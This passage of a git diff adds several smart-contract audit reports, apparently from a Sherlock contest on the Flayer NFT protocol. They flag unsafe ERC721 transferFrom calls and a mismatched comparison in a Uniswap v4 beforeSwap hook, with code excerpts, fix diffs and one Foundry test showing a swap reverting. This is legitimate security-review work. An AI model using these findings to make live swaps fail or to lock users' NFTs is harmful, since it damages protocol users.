+[OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) discourages the use of `transferFrom()`, use `safeTransferFrom()` whenever possible
+Given that any NFT can be used for the call option, there are a few NFTs that have logic in the `onERC721Received()` function, which is only triggered in the `safeTransferFrom()` function and not in transferFrom()
+
+
+### Impact
+
+All transactions that use the `transferFrom` method may be reverted
+
+### PoC
+
+All code bases within the scope use the `transferFrom` method for ERC721 transfers.
+
+In particular, the `AirdropRecipient` contract inherits the `Receiver` contract to safely handle ERC721 transfers.
+```solidity
+abstract contract Receiver {
+ /// @dev For receiving ETH.
+ receive() external payable virtual {}
+
+ /// @dev Fallback function with the `receiverFallback` modifier.
+ fallback() external payable virtual receiverFallback {}
+
+ /// @dev Modifier for the fallback function to handle token callbacks.
+ modifier receiverFallback() virtual {
+ /// @solidity memory-safe-assembly
+ assembly {
+ let s := shr(224, calldataload(0))
+--> // 0x150b7a02: `onERC721Received(address,address,uint256,bytes)`.
+ // 0xf23a6e61: `onERC1155Received(address,address,uint256,uint256,bytes)`.
+ // 0xbc197c81: `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.
+ if or(eq(s, 0x150b7a02), or(eq(s, 0xf23a6e61), eq(s, 0xbc197c81))) {
+ mstore(0x20, s) // Store `msg.sig`.
+ return(0x3c, 0x20) // Return `msg.sig`.
+ }
+ }
+ _;
+ }
+}
+```
+As shown above, the `AirdropRecipient` contract explicitly states that it also supports NFTs with logic contained within `onERC721Received()`.
+
+However, the [`AirdropRecipient.sol#claimAirdrop()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L136) function also uses the `transferFrom()` method for ERC721 transfer.
+
+As a result, `recipient` cannot receive the Airdrop because `onERC721Received()` is not triggered.
+
+
+### Mitigation
+
+It is recommended to use the `safeTransferFrom()` method instead of the `transferFrom()` method for ERC721 transfers.
\ No newline at end of file
diff --git a/009/236.md b/009/236.md
new file mode 100644
index 0000000..fbd6b0d
--- /dev/null
+++ b/009/236.md
@@ -0,0 +1,22 @@
+Immense Yellow Goat
+
+Medium
+
+# Use safeTransferFrom instead of transferFrom for ERC721 transfers
+
+## Summary
+Use safeTransferFrom instead of transferFrom for ERC721 transfers
+## Vulnerability Detail
+Use of `transferFrom` method for ERC721 `transfer` is discouraged and recommended to use `safeTransferFrom` whenever possible by OpenZeppelin.
+[OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) itself discourages the use of `transferFrom()`, use `safeTransferFrom()` whenever possible
+This is because `transferFrom()` cannot check whether the receiving address know how to handle ERC721 tokens.
+## Impact
+If this reciever is a contract and is not aware of incoming ERC721 tokens, the sent token could be locked up in the contract forever.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L232
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use `safeTransferFrom()` method instead of `transferFrom()` for NFT transfers.
\ No newline at end of file
diff --git a/009/296.md b/009/296.md
new file mode 100644
index 0000000..7ce2331
--- /dev/null
+++ b/009/296.md
@@ -0,0 +1,53 @@
+Raspy Raspberry Tapir
+
+High
+
+# Using unsafe `transferFrom` for ERC721 may get tokens lost
+
+### Summary
+
+From [EIP-721](https://eips.ethereum.org/EIPS/eip-721):
+
+```solidity
+/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
+/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
+/// THEY MAY BE PERMANENTLY LOST
+/// ...
+function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
+```
+
+Nevertheless, in quite a few places `transferFrom` is employed to transfer ERC-721 NFTs to _external parties_; e.g.:
+
+- [Listings::relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L657)
+- [Locker::redeem](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L226)
+- [AirdropRecipient::claimAirdrop](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L138)
+- [InfernalRiftAbove::returnFromTheThreshold](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L232)
+- [InfernalRiftBelow::_thresholdCross721](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L265)
+
+Any of this calls may result in sending an NFT token to a recipient which is a contract, but is not able or _not ready to receive the token now_.
+
+Notice that while the first case (specifying a contract not able to receive tokens) may be regarded as a user mistake; the second case (an external contract generally able to receive, but not able to do so at this specific moment) is a valid external condition, and thus it is a grave mistake from the protocol to send the NFT tokens nevertheless; in this case the transaction should revert, but instead the NFT token gets lost.
+
+### Root Cause
+
+Usage of `transferFrom` instead of `safeTransferFrom` for ERC-721 token transfers.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+The external recipient of an ERC-721 token is a contract, which either not able or _not ready to receive the token now_ due to the state of that contract.
+
+### Impact
+
+ERC-721 tokens may get permanently lost.
+
+### PoC
+
+Not required
+
+### Mitigation
+
+Employ `safeTransferFrom` instead of `transferFrom` for ERC-721 tokens.
\ No newline at end of file
diff --git a/009/398.md b/009/398.md
new file mode 100644
index 0000000..aeab1b0
--- /dev/null
+++ b/009/398.md
@@ -0,0 +1,29 @@
+Perfect Mint Worm
+
+Medium
+
+# Using ERC721.transferFrom() instead of safeTransferFrom() may cause the user's NFT to be frozen in a contract that does not support ERC721
+
+## Summary
+in the `locker.sol` the function `redeem` sends the nft to an arbitrary address put by the user, There are certain smart contracts that do not support **ERC721**, so using `transferFrom()` may result in the **NFT** being sent to such contracts.
+## Vulnerability Detail
+In `redeem`, `_recipient` is a param from the user's input.
+Anyone with an ERC20 collection can redeem this floor NFT.
+
+However, if `_recipient` is a contract address that does not support ERC721, the NFT can be frozen in that contract.
+
+As per the documentation of EIP-721:
+
+*A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers.*
+
+Ref: https://eips.ethereum.org/EIPS/eip-721
+## Impact
+-The **NFT** may get stuck in the contract that does support `ERC721`.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L226
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider using `safeTransferFrom()` instead of `transferFrom()`.
\ No newline at end of file
diff --git a/009/541.md b/009/541.md
new file mode 100644
index 0000000..e7f3d14
--- /dev/null
+++ b/009/541.md
@@ -0,0 +1,64 @@
+Spare Infrared Gerbil
+
+High
+
+# potential loss of NFTs should the recipient is unable to handle the sent ERC721s.
+
+### Summary
+
+NFTs could be permanently lost due to
+
+### Root Cause
+
+The `transferFrom()` method is used instead of `safeTransferFrom()`, which I assume is a gas-saving measure. I however argue that this isn’t recommended and could lead to loss of NFTs because:
+
+the recipient could have logic in the `onERC721Received()` function used to ensure that the recipient can safely receive the NFT, which is only triggered in the `safeTransferFrom()` function and not in `transferFrom()`
+
+one of such instances where this could be a problem for the users is in the [`Locker::redeem(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L226) function where the user enters their desired recipient which may not be the account that the user initially made the deposit from, and also [`Locker::withdrawToken(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L353-L355)
+
+```solidity
+File: Locker.sol
+209: @> function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+210: uint tokenIdsLength = _tokenIds.length;
+
+SNIP .........
+224:
+225: // Transfer the collection token to the caller
+226: @> collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+227: }
+228:
+229: emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+230: }
+
+
+
+353: function withdrawToken(address _collection, uint _tokenId, address _recipient) public {
+354: if (!lockerManager.isManager(msg.sender)) revert CallerIsNotManager();
+355: @> IERC721(_collection).transferFrom(address(this), _recipient, _tokenId); // @audit use of unsafe transfer can lead to losses
+356: }
+
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+There is a warning from [Openzepelin](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) against the use of its `transferFrom(...)` method
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+NFTs could get lost when they are being sent out to users wallets
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Replace all instances of OpenZepelin `transferFrom(...)` with `safeTransferFrom(...)` **when tokens are being transferred out to a user**
\ No newline at end of file
diff --git a/009/701.md b/009/701.md
new file mode 100644
index 0000000..6c90e21
--- /dev/null
+++ b/009/701.md
@@ -0,0 +1,40 @@
+Helpful Lavender Mule
+
+Medium
+
+# Using transfer/transferFrom instead of safeTransfer/From can cause failed transfers
+
+### Summary
+
+Throughout the protocol transfer/transferFrom are used instead of openzeppelins's `safeTransferFrom` this can cause some tokens which do not fully comply with the erc20 standard to fail but this is also best practice.
+
+### Root Cause
+
+>These “safe” functions make sure that in case the tokens we’re interacting with returns a boolean value (but only if it returns something), the transaction will be reverted, usign this library we can make sure all those weird ERC20 implementations don’t break the protocol.
+
+These are all instances identified throught scope:
+[1](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L106),[2](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L232),[3](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L392),[4](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L439),[5](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L221),[6](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L235).[7](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L587),[8](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L657),[9](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L720),[10](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L811),[11](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L178),[12](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L373),[13](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L136-L138),[14](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L158),[15](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L226),[16](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L249-L252),[17](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L355),[18](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L384),[19](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L395)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The protocol can suffer from failed transfers even though one might go through or the opposite. It is recommended practice to use `safeERC` to prevent unexpected behavior.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The recommended way to transfer ERC20 tokens and ERC721 nft's is to use openzeppelin's `safeERC` contract.
\ No newline at end of file
diff --git a/009/711.md b/009/711.md
new file mode 100644
index 0000000..d2d649a
--- /dev/null
+++ b/009/711.md
@@ -0,0 +1,32 @@
+Attractive Ash Buffalo
+
+Medium
+
+# nft while being transfer , transferFrom is used , which may end up losing NFT
+
+## Summary
+
+The transferFrom() method is used instead of safeTransferFrom(). I argue that this isn’t recommended because:
+
+## Vulnerability Detail
+
+While depositing and at other places , while transfering nft from user to contract address or in opposite to msg.sender from contract address, in both ways , transfer from is used instead of safeTransferFrom. which might lock nft in any contract address which is not compatible to recieve the nft.
+
+## Impact
+
+While depositing, Swap , SwapBatch , in all cases tranferFrom is used so , we might not be able to deposit or like this,
+when msg.sender would be contract which could not accept incoming ERC721 it end up losing our nfts.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L226
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L248C1-L252C83
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+I recommend to call the safeTransferFrom() method instead of transferFrom() for NFT transfers.
\ No newline at end of file
diff --git a/009/767.md b/009/767.md
new file mode 100644
index 0000000..d58b9fd
--- /dev/null
+++ b/009/767.md
@@ -0,0 +1,30 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Use safeTransferFrom() instead of transferFrom()
+
+## Summary
+Use safeTransferFrom() instead of transferFrom()
+
+## Vulnerability Detail
+swap()/ redeem()/ withdrawTokens() etc uses transferFrom() instead of safeTransferFrom(). If receiver doesn't support ERC721, tokens will be lost.
+
+As per the documentation of EIP-721:
+
+> A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers.
+
+Ref: https://eips.ethereum.org/EIPS/eip-721
+
+## Impact
+Nft will be lost if doesn't support ERC721
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L248C8-L252C83
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L226
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use safeTransferFrom() instead of transferFrom()
\ No newline at end of file
diff --git a/009/788.md b/009/788.md
new file mode 100644
index 0000000..c51789e
--- /dev/null
+++ b/009/788.md
@@ -0,0 +1,59 @@
+Raspy Azure Dragonfly
+
+Medium
+
+# Potential Risk of Frozen NFTs and Lost Tokens in Flayer Protocol Due to Improper Transfer Methods
+
+## Summary
+The current implementation of the Flayer protocol uses ``ERC721.transferFrom()`` for transferring NFTs, However, using`` transferFrom()`` instead of ``safeTransferFrom()`` introduces a critical risk that users' NFTs may be transferred to contracts that do not support the ERC721 standard. This could result in NFTs being "frozen" or locked in these contracts, making them inaccessible to users.
+
+Additionally, the transfer of collection tokens also follows a direct ``transferFrom()``, ``transfer`` approach, which may expose the system to a loss of assets in edge cases where the receiving contract cannot correctly handle tokens.
+## Vulnerability Detail
+When transferring NFTs, the ``safeTransferFrom()`` function is designed to ensure that the receiving contract can handle ERC721 tokens. The ``safeTransferFrom()`` method invokes the ``onERC721Received()`` function on the recipient contract, ensuring that the contract can properly receive the token. If the recipient does not implement this function, the transfer will revert, avoiding the issue of the NFT being locked in an unsupported contract.
+## Impact
+
+- Frozen NFTs: If a user tries to swap an NFT and it gets transferred to a contract that does not support ERC721, the NFT will be stuck there indefinitely, unless the contract owner manually transfers it out.
+
+- potential Loss of Assets: For the collection tokens, using`` transferFrom()``,``transfer()`` without validation could lead to token losses
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L226
+```solidity
+ function redeem(
+ address _collection,
+ uint[] calldata _tokenIds,
+ address _recipient
+ ) public nonReentrant whenNotPaused collectionExists(_collection) {
+ //@audit -L1 No check if the _recipient is a 0x00!!
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Burn the ERC20 tokens from the caller
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+ collectionToken_.burnFrom(
+ msg.sender,
+ tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination()
+ );
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIds[i]))
+ revert TokenIsListing(_tokenIds[i]);
+ //@audit safetransferFrom should be used instead
+ // Transfer the collection token to the caller
+ @>> collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use OpenZeppelin's ERC721 implementation and replace ``transferFrom()`` with ``safeTransferFrom()`` to ensure that NFTs are safely transferred to compatible contracts. This will prevent the risk of frozen NFTs or token losses in cases where the recipient cannot handle the assets.
+the same should also be employed with ``trasnfer()``, and ``mint()``
\ No newline at end of file
diff --git a/010/176.md b/010/176.md
new file mode 100644
index 0000000..3ad4b11
--- /dev/null
+++ b/010/176.md
@@ -0,0 +1,133 @@
+Wobbly Neon Hyena
+
+High
+
+# Wrong comparison value used in `UniswapImplementation::beforeSwap` forcing swaps to revert
+
+### Summary
+
+When swapping ETH equivalent tokens to collection tokens, or vice versa, they pass through UniswapImplementation which is added as the hook for the Uniswap pool. beforeSwap front runs the swap on Uniswap and tries to fulfill it from the accumulated fees. When doing exact in (amountSpecified < 0), the hook does an internal swap using:
+```solidity
+(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+});
+
+// If we cannot fulfill the full amount of the internal orderbook, then we want
+// to avoid using any of it, as implementing proper support for exact input swaps
+// is significantly difficult when we want to restrict them by the output token
+// we have available.
+if (tokenOut <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+} else {
+ ethIn = tokenOut = 0;
+}
+```
+As shown from the code comments, the internal swap is skipped in case the full swap can't be fulfilled internally, this is done by comparing `params.amountSpecified` and `tokenOut`.
+
+However, this check is misleading, as `params.amountSpecified` is the ETH amount (exact In & WETH -> Token) and `tokenOut` is the collection token amount, so in most cases the result of this check is wrong.
+
+This forces the swap to revert, as skipping logic won't work as anticipated.
+
+### Root Cause
+
+In `UniswapImplementation::beforeSwap`, when computing the internal swap values, `params.amountSpecified` (which is ETH in this case) is being compared with `tokenOut` (which represents the collection token), [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547).
+
+### Impact
+
+Swapping ETH equivalent tokens to collection tokens, using "exact In" will sometimes revert.
+
+### PoC
+
+Add the following test in `flayer/test/UniswapImplementation.t.sol`:
+
+```solidity
+function test_WrongComparisonValue() public withLiquidity withTokens {
+ uniswapImplementation.setAmmFee(5_000);
+ uniswapImplementation.setAmmBeneficiary(BENEFICIARY);
+
+ bool flipped = false;
+ PoolKey memory poolKey = _poolKey(flipped);
+ CollectionToken token = flipped ? flippedToken : unflippedToken;
+ ERC721Mock nft = flipped ? flippedErc : unflippedErc;
+
+ // Simulate Fees
+ uint256 fees = 10 ether;
+ deal(address(token), address(this), fees);
+ token.approve(address(uniswapImplementation), type(uint).max);
+ uniswapImplementation.depositFees(address(nft), 0, fees);
+
+ uint amountSpecified = 15 ether;
+
+ vm.expectRevert();
+ poolSwap.swap(
+ poolKey,
+ IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: -int(amountSpecified),
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ""
+ );
+}
+```
+
+
+
+### Mitigation
+
+In `UniswapImplementation::beforeSwap`, when comparing `params.amountSpecified`, which represents ETH, use `ethIn` instead of `tokenOut`, which represents the collection token.
+
+```diff
+function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+ ...
+
+ if (trigger && pendingPoolFees.amount1 != 0) {
+ ...
+
+ if (params.amountSpecified >= 0) {
+ ...
+ }
+ // As we have a negative amountSpecified, this means that we are spending any amount
+ // of token to get a specific amount of undesired token.
+ else {
+ ...
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+- if (tokenOut <= uint(-params.amountSpecified)) {
++ if (ethIn <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+ }
+
+ // Reduce the amount of fees that have been extracted from the pool and converted
+ // into ETH fees.
+ if (ethIn != 0 || tokenOut != 0) {
+ ...
+ }
+ }
+
+ // Set our return selector
+ selector_ = IHooks.beforeSwap.selector;
+}
+```
\ No newline at end of file
diff --git a/010/193.md b/010/193.md
new file mode 100644
index 0000000..1e3901a
--- /dev/null
+++ b/010/193.md
@@ -0,0 +1,57 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# Swaps will revert or unnecessarily cancel due to a mismatched comparison of fTokens with ETH specified amount
+
+### Summary
+
+When the amount specified is the native token (WETH), the check for canceling the swap uses the incorrect token amounts. This causes swaps to either revert or cancel the `beforeSwap` hook.
+
+### Root Cause
+
+Values of different denominations are compared in the `beforeSwap` hook.
+
+ref: [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547-L554)
+```solidity
+// @audit `-params.amountSpecified` is in WETH (native token) while `tokenOut` is in fToken (collection token)
+if (tokenOut <= uint(-params.amountSpecified)) {
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+} else {
+ // NOTE: cancel the ETH swap
+ ethIn = tokenOut = 0;
+}
+```
+
+### Internal pre-conditions
+
+1. Anyone swaps WETH for FToken in a Collection Pool specifying the amount of WETH they sell.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Anyone swaps WETH for FToken in a Collection Pool specifying the amount of WETH they sell.
+
+### Impact
+
+There are two impacts.
+1. Case 1 - `tokenOut > amountSpecified && ethIn < amountSpecified`
+ - Cancels the ETH swap even if it should not. Swaps will get canceled almost always for tokens with greater than 18 decimals and cost very little ETH.
+2. Case 2 - `tokenOut <= amountSpecified && ethIn > amountSpecified`
+ - The swap will revert because there is not enough ETH being sold to handle the hooked swap. This will often get triggered for tokens that cost a lot in ETH.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifying the comparison in [`beforeSwap()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547) to:
+
+```diff
+-if (tokenOut <= uint(-params.amountSpecified)) {
++if (ethIn <= uint(-params.amountSpecified)) {
+```
\ No newline at end of file
diff --git a/010/197.md b/010/197.md
new file mode 100644
index 0000000..7da335a
--- /dev/null
+++ b/010/197.md
@@ -0,0 +1,100 @@
+Clean Snowy Mustang
+
+High
+
+# ethIn and tokenOut is not correctly computed in beforeSwap() when the swap is an exactIn
+
+## Summary
+`ethIn` and `tokenOut` is not correctly computed in [beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) when the swap is exactIn.
+
+## Vulnerability Detail
+
+Before a swap is made in Uniswap V4 collection pool and the swap is to swap ETH for collection underlying token, protocol will first try to use any pool fee tokens to fill the swap before it hits the Uniswap pool.
+
+[UniswapImplementation.sol#L500-L502](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L500-L502):
+```solidity
+ // We want to check if our token0 is the eth equivalent, or if it has swapped to token1
+ bool trigger = poolParams.currencyFlipped ? !params.zeroForOne : params.zeroForOne;
+ if (trigger && pendingPoolFees.amount1 != 0) {
+```
+
+When the swap is an exactIn (`params.amountSpecified` < 0), protocol intends to compute how many collection underlying token can be swapped out by spending the exact amount of ETH. If the full `tokenOut` amount cannot be fulfilled in `beforeSwap()`, protocol avoids to use any of it by resetting `tokenOut` and `ethIn` to 0:
+
+[UniswapImplementation.sol#L535-L555](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L535-L555):
+```solidity
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+@> amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+@> if (tokenOut <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+```
+
+There are essentially 2 errors in the code:
+
+1. When computes `tokenOut` and `ethIn`, [SwapMath.computeSwapStep()](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/SwapMath.sol#L51-L57) is called, but the `amountRemaining` argument is assigned with `int(pendingPoolFees.amount1)`.
+This is wrong because`pendingPoolFees.amount1` is the collection underlying token amount and is non-negative.
+The correct value that should be used is `params.amountSpecified`, by doing that we are actually computing the `tokenOut` by using the exactly amount of `ethIn`.
+
+2. When determines if we can fullfill the full amount of `tokenOut`, protocol check it against `uint(-params.amountSpecified)`.
+This is wrong because `params.amountSpecified` is ETH amount and it does not make sense to compare the amount of 2 different tokens.
+The correct approach is to check `tokenOut` against `pendingPoolFees.amount1`, which is the amount of collection underlying token.
+
+## Impact
+
+Incorrect amount of tokens are sent out / pulled in, the trader or the hook may suffer a loss.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L539
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+[UniswapImplementation.sol#L535-L555](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L535-L555):
+Fix as suggest above:
+```diff
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+- amountRemaining: int(pendingPoolFees.amount1),
++ amountRemaining: params.amountSpecified,
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+- if (tokenOut <= uint(-params.amountSpecified)) {
++ if (tokenOut <= pendingPoolFees.amount1) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+```
\ No newline at end of file
diff --git a/010/280.md b/010/280.md
new file mode 100644
index 0000000..e61bb9e
--- /dev/null
+++ b/010/280.md
@@ -0,0 +1,83 @@
+Warm Daisy Tiger
+
+High
+
+# Fulfill wrong token side in the before swap hook
+
+## Summary
+Before swap hook logic is triggered when the swap is going from ETH-equivalent to Collection token (CT). In case the swap is exact input, the logic to fulfill the swap amount is wrong in term of token side.
+
+## Vulnerability Detail
